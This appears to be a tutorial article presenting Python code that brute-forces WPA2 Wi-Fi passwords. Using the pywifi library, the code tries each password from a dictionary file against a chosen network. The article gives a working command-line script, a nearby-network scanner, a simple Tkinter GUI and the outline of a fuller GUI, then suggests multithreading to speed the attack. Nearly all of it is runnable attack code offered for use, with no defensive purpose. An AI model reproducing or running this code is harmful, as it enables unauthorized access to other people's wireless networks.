Python Script for WiFi Password Cracking with CLI and GUI Implementations

The article introduces a Python‑based method for automatically cracking Wi‑Fi passwords by leveraging the pywifi library, first presenting a non‑graphical script that reads passwords from a file and attempts connections.

Non‑graphical script:

<code>import pywifi
from pywifi import const
import time, datetime

def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "Tr0e"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    path = "pwd.txt"
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline().strip('\n')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] 密码已破解：", pwd)
                print("[*] WiFi已自动连接！！！")
                success = True
                break
            else:
                print("正在破解 SSID 为 %s 的 WIFI密码，当前校验的密码为：%s" % ("Tr0e", pwd))
        except:
            continue
    end = datetime.datetime.now()
    if success:
        print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))
    else:
        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码，请更换密码字典后重新尝试！")
    exit(0)

if __name__ == "__main__":
    readPassword()</code>

The script is then optimized to make the Wi‑Fi name and dictionary path configurable, adding a scanning function to list nearby networks sorted by signal strength.

<code>import pywifi, time
from pywifi import const

def wifi_scan():
    wifi = pywifi.PyWiFi()
    interface = wifi.interfaces()[0]
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描可用 WiFi 中，请稍后。。。（' + str(3 - i) + ')', end='')
    print('\r扫描完成！\n' + '-'*38)
    print('{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    bss = interface.scan_results()
    wifi_name_set = set()
    for w in bss:
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
    for num, (sig, name) in enumerate(wifi_name_list):
        print('{:<6d}{:<8d}{}'.format(num, sig, name))
    return wifi_name_list

# Additional functions for cracking and a main loop follow…</code>

A simple graphical user interface (GUI) is built using Tkinter, allowing users to input the target Wi‑Fi name and start the cracking process while displaying progress in a listbox.

<code>from tkinter import *
import pywifi, time
from pywifi import const

def wificonnect(str, wifiname):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = wifiname
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = str
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

def readPwd():
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            mystr = file.readline().strip()
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, '密码正确' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, '密码错误' + mystr)
                text.see(END)
                text.update()
        except:
            continue

root = Tk()
root.title('wifi破解')
root.geometry('500x400')
label = Label(root, text='输入要破解的WIFI名称：')
label.grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
root.mainloop()</code>

An upgraded GUI version adds features such as Wi‑Fi scanning, password‑file selection, a tree view of networks, and real‑time status messages, encapsulated in a class‑based design.

<code>from tkinter import *
from tkinter import ttk, filedialog, messagebox
import pywifi, time
from pywifi import const

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        self.get_value = StringVar()
        self.get_wifi_value = StringVar()
        self.get_wifimm_value = StringVar()
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    # ... (methods for scanning, displaying, adding password file, connecting, etc.)

def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    ui.set_init_window()
    init_window.mainloop()

if __name__ == "__main__":
    gui_start()</code>

The article concludes that the presented code lacks multithreading, which would reduce the waiting time during brute‑force attempts, and suggests that adding threads could improve performance.

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